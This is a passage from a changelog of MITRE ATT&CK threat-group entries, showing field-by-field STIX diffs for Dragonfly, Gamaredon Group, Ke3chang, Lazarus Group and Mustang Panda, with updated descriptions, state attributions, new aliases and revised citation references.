dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | |
| external_references | https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector | |
| external_references | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 22:07:18.072000+00:00 | 2022-04-19 15:04:26.829000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)
A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017) |
| external_references[1]['source_name'] | Dragonfly | DYMALLOY |
| external_references[1]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Dragos DYMALLOY )(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[2]['source_name'] | TG-4192 | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[3]['source_name'] | Crouching Yeti | TEMP.Isotope |
| external_references[3]['description'] | (Citation: Secureworks IRON LIBERTY July 2019) | (Citation: Mandiant Ukraine Cyber Threats January 2022)(Citation: Gigamon Berserk Bear October 2021) |
| external_references[4]['source_name'] | IRON LIBERTY | Crouching Yeti |
| external_references[4]['description'] | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[5]['source_name'] | Energetic Bear | IRON LIBERTY |
| external_references[5]['description'] | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019) | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[6]['source_name'] | Symantec Dragonfly | TG-4192 |
| external_references[6]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | (Citation: Secureworks IRON LIBERTY July 2019)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[7]['source_name'] | Secureworks IRON LIBERTY July 2019 | Dragonfly |
| external_references[7]['description'] | Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[8]['source_name'] | Symantec Dragonfly Sept 2017 | Energetic Bear |
| external_references[8]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) |
| external_references[9]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | CISA AA20-296A Berserk Bear December 2020 |
| external_references[9]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021. |
| external_references[9]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions |
| external_references[10]['source_name'] | Dragos DYMALLOY | DOJ Russia Targeting Critical Infrastructure March 2022 |
| external_references[10]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022. |
| external_references[10]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical |
| external_references[11]['source_name'] | Secureworks MCMD July 2019 | Dragos DYMALLOY |
| external_references[11]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[11]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.dragos.com/threat/dymalloy/ |
| external_references[12]['source_name'] | Secureworks Karagany July 2019 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[12]['description'] | Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[12]['url'] | https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| x_mitre_version | 2.1 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | TEMP.Isotope |
| aliases | | DYMALLOY |
| aliases | | Berserk Bear |
| external_references | | {'source_name': 'Mandiant Ukraine Cyber Threats January 2022', 'description': 'Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022.', 'url': 'https://www.mandiant.com/resources/ukraine-crisis-cyber-threats'} |
| external_references | | {'source_name': 'Secureworks MCMD July 2019', 'description': 'Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.', 'url': 'https://www.secureworks.com/research/mcmd-malware-analysis'} |
| external_references | | {'source_name': 'Secureworks IRON LIBERTY July 2019', 'description': 'Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector'} |
| external_references | | {'source_name': 'Secureworks Karagany July 2019', 'description': 'Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.', 'url': 'https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector'} |
| external_references | | {'source_name': 'Gigamon Berserk Bear October 2021', 'description': 'Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021.', 'url': 'https://vblocalhost.com/uploads/VB2021-Slowik.pdf'} |
| external_references | | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} |
| external_references | | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} |
| external_references | | {'source_name': 'Symantec Dragonfly 2.0 October 2017', 'description': 'Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks'} |
| external_references | | {'source_name': 'UK GOV FSB Factsheet April 2022', 'description': "UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022.", 'url': 'https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet'} |
[G0047] Gamaredon Group
Current version: 2.0
Version changed from: 1.2 → 2.0
|
|
|---|
| t | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is | t | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is |
| a threat group that has been active since at least 2013 and | | a suspected Russian cyber espionage threat group that has ta |
| has targeted individuals likely involved in the Ukrainian go | | rgeted military, NGO, judiciary, law enforcement, and non-pr |
| vernment. The name [Gamaredon Group](https://attack.mitre.or | | ofit organizations in Ukraine since at least 2013. The name |
| g/groups/G0047) comes from a misspelling of the word "Armage | | [Gamaredon Group](https://attack.mitre.org/groups/G0047) com |
| ddon", which was detected in the adversary's early campaigns | | es from a misspelling of the word "Armageddon", which was de |
| .(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMic | | tected in the adversary's early campaigns.(Citation: Palo Al |
| ro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020) | | to Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April |
| | | 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec |
| | | Shuckworm January 2022)(Citation: Microsoft Actinium Februa |
| | | ry 2022) In November 2021, the Ukrainian government publicl |
| | | y attributed [Gamaredon Group](https://attack.mitre.org/grou |
| | | ps/G0047) to Russia's Federal Security Service (FSB) Center |
| | | 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)( |
| | | Citation: Microsoft Actinium February 2022) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ | |
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/ | |
| external_references | https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-01-20 22:20:20.981000+00:00 | 2022-04-15 13:46:34.474000+00:00 |
| description | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020) | [Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)
In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022) |
| external_references[1]['source_name'] | Gamaredon Group | ACTINIUM |
| external_references[1]['description'] | (Citation: Palo Alto Gamaredon Feb 2017) | (Citation: Microsoft Actinium February 2022) |
| external_references[2]['source_name'] | Palo Alto Gamaredon Feb 2017 | DEV-0157 |
| external_references[2]['description'] | Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. | (Citation: Microsoft Actinium February 2022) |
| external_references[3]['source_name'] | TrendMicro Gamaredon April 2020 | Gamaredon Group |
| external_references[3]['description'] | Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020. | (Citation: Palo Alto Gamaredon Feb 2017) |
| external_references[4]['source_name'] | ESET Gamaredon June 2020 | IRON TILDEN |
| external_references[4]['description'] | Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020. | (Citation: Secureworks IRON TILDEN Profile) |
| x_mitre_version | 1.2 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | IRON TILDEN |
| aliases | | Primitive Bear |
| aliases | | ACTINIUM |
| aliases | | Armageddon |
| aliases | | Shuckworm |
| aliases | | DEV-0157 |
| external_references | | {'source_name': 'Armageddon', 'description': '(Citation: Symantec Shuckworm January 2022)'} |
| external_references | | {'source_name': 'Shuckworm', 'description': '(Citation: Symantec Shuckworm January 2022)'} |
| external_references | | {'source_name': 'Primitive Bear', 'description': '(Citation: Unit 42 Gamaredon February 2022)'} |
| external_references | | {'source_name': 'ESET Gamaredon June 2020', 'description': 'Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.', 'url': 'https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/'} |
| external_references | | {'source_name': 'TrendMicro Gamaredon April 2020', 'description': 'Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/'} |
| external_references | | {'source_name': 'Palo Alto Gamaredon Feb 2017', 'description': 'Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/'} |
| external_references | | {'source_name': 'Microsoft Actinium February 2022', 'description': 'Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.', 'url': 'https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/'} |
| external_references | | {'source_name': 'Secureworks IRON TILDEN Profile', 'description': 'Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-tilden'} |
| external_references | | {'source_name': 'Symantec Shuckworm January 2022', 'description': 'Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine'} |
| external_references | | {'source_name': 'Bleepingcomputer Gamardeon FSB November 2021', 'description': 'Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022.', 'url': 'https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/'} |
| external_references | | {'source_name': 'Unit 42 Gamaredon February 2022', 'description': 'Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.', 'url': 'https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/'} |
[G0004] Ke3chang
Current version: 2.0
Version changed from: 1.4 → 2.0
|
|
|---|
| t | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threa | t | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threa |
| t group attributed to actors operating out of China. [Ke3cha | | t group attributed to actors operating out of China. [Ke3cha |
| ng](https://attack.mitre.org/groups/G0004) has targeted seve | | ng](https://attack.mitre.org/groups/G0004) has targeted oil, |
| ral industries, including oil, government, military, and mor | | government, diplomatic, military, and NGOs in Central and S |
| e.(Citation: Mandiant Operation Ke3chang November 2014)(Cita | | outh America, the Caribbean, Europe, and North America since |
| tion: NCC Group APT15 Alive and Strong)(Citation: APT15 Inte | | at least 2010.(Citation: Mandiant Operation Ke3chang Novemb |
| zer June 2018) | | er 2014)(Citation: NCC Group APT15 Alive and Strong)(Citatio |
| | | n: APT15 Intezer June 2018)(Citation: Microsoft NICKEL Decem |
| | | ber 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Pooja Natarajan, NEC Corporation India'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-11-01 21:12:15.839000+00:00 | 2022-04-19 17:08:18.374000+00:00 |
| description | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018) | [Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021) |
| external_references[1]['source_name'] | Ke3chang | RoyalAPT |
| external_references[1]['description'] | (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | (Citation: APT15 Intezer June 2018) |
| external_references[2]['source_name'] | APT15 | NICKEL |
| external_references[2]['description'] | (Citation: NCC Group APT15 Alive and Strong) | (Citation: Microsoft NICKEL December 2021) |
| external_references[3]['source_name'] | Mirage | APT15 |
| external_references[4]['source_name'] | Vixen Panda | Mirage |
| external_references[4]['description'] | (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | (Citation: NCC Group APT15 Alive and Strong) |
| external_references[6]['source_name'] | Playful Dragon | Vixen Panda |
| external_references[6]['description'] | (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) | (Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018) |
| external_references[7]['source_name'] | RoyalAPT | Playful Dragon |
| external_references[7]['description'] | (Citation: APT15 Intezer June 2018) | (Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018) |
| external_references[8]['source_name'] | Mandiant Operation Ke3chang November 2014 | Ke3chang |
| external_references[8]['description'] | Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014. | (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018) |
| external_references[9]['source_name'] | NCC Group APT15 Alive and Strong | Microsoft NICKEL December 2021 |
| external_references[9]['description'] | Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018. | MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022. |
| external_references[9]['url'] | https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe |
| x_mitre_version | 1.4 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | NICKEL |
| external_references | | {'source_name': 'NCC Group APT15 Alive and Strong', 'description': 'Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.', 'url': 'https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/'} |
| external_references | | {'source_name': 'Mandiant Operation Ke3chang November 2014', 'description': 'Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.', 'url': 'https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs'} |
| external_references | | {'source_name': 'Villeneuve et al 2014', 'description': 'Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf'} |
[G0032] Lazarus Group
Current version: 3.0
Version changed from: 2.0 → 3.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.us-cert.gov/ncas/alerts/TA17-164A | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 22:04:58.182000+00:00 | 2022-03-23 19:01:20.193000+00:00 |
| external_references[2]['source_name'] | HIDDEN COBRA | Labyrinth Chollima |
| external_references[2]['description'] | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) | (Citation: CrowdStrike Labyrinth Chollima Feb 2022) |
| external_references[3]['source_name'] | Guardians of Peace | HIDDEN COBRA |
| external_references[3]['description'] | (Citation: US-CERT HIDDEN COBRA June 2017) | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) |
| external_references[4]['source_name'] | ZINC | Guardians of Peace |
| external_references[4]['description'] | (Citation: Microsoft ZINC disruption Dec 2017) | (Citation: US-CERT HIDDEN COBRA June 2017) |
| external_references[5]['source_name'] | NICKEL ACADEMY | ZINC |
| external_references[5]['description'] | (Citation: Secureworks NICKEL ACADEMY Dec 2017) | (Citation: Microsoft ZINC disruption Dec 2017) |
| external_references[6]['source_name'] | US-CERT HIDDEN COBRA June 2017 | NICKEL ACADEMY |
| external_references[6]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | (Citation: Secureworks NICKEL ACADEMY Dec 2017) |
| external_references[7]['source_name'] | Treasury North Korean Cyber Groups September 2019 | US-CERT HIDDEN COBRA June 2017 |
| external_references[7]['description'] | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. |
| external_references[7]['url'] | https://home.treasury.gov/news/press-releases/sm774 | https://www.us-cert.gov/ncas/alerts/TA17-164A |
| external_references[8]['source_name'] | Novetta Blockbuster | Treasury North Korean Cyber Groups September 2019 |
| external_references[8]['description'] | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[8]['url'] | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[9]['source_name'] | US-CERT HOPLIGHT Apr 2019 | Novetta Blockbuster |
| external_references[9]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. |
| external_references[9]['url'] | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
| external_references[10]['source_name'] | Microsoft ZINC disruption Dec 2017 | CrowdStrike Labyrinth Chollima Feb 2022 |
| external_references[10]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022. |
| external_references[10]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/ |
| external_references[11]['source_name'] | Secureworks NICKEL ACADEMY Dec 2017 | US-CERT HOPLIGHT Apr 2019 |
| external_references[11]['description'] | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. |
| external_references[11]['url'] | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| x_mitre_version | 2.0 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | Labyrinth Chollima |
| external_references | | {'source_name': 'Microsoft ZINC disruption Dec 2017', 'description': 'Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.', 'url': 'https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/'} |
| external_references | | {'source_name': 'Secureworks NICKEL ACADEMY Dec 2017', 'description': 'Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.', 'url': 'https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing'} |
[G0129] Mustang Panda
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a | t | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a |
| China-based cyber espionage threat actor that was first obse | | China-based cyber espionage threat actor that was first obse |
| rved in 2017 but may have been conducting operations since a | | rved in 2017 but may have been conducting operations since a |
| t least 2014. [Mustang Panda](https://attack.mitre.org/group | | t least 2014. [Mustang Panda](https://attack.mitre.org/group |
| s/G0129) has targeted government entities, nonprofits, relig | | s/G0129) has targeted government entities, nonprofits, relig |
| ious, and other non-governmental organizations in the U.S., | | ious, and other non-governmental organizations in the U.S., |
| Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among oth | | Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among othe |
| ers.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation | | rs.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: |
| : Anomali MUSTANG PANDA October 2019)(Citation: Secureworks | | Anomali MUSTANG PANDA October 2019)(Citation: Secureworks B |
| BRONZE PRESIDENT December 2019) | | RONZE PRESIDENT December 2019) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
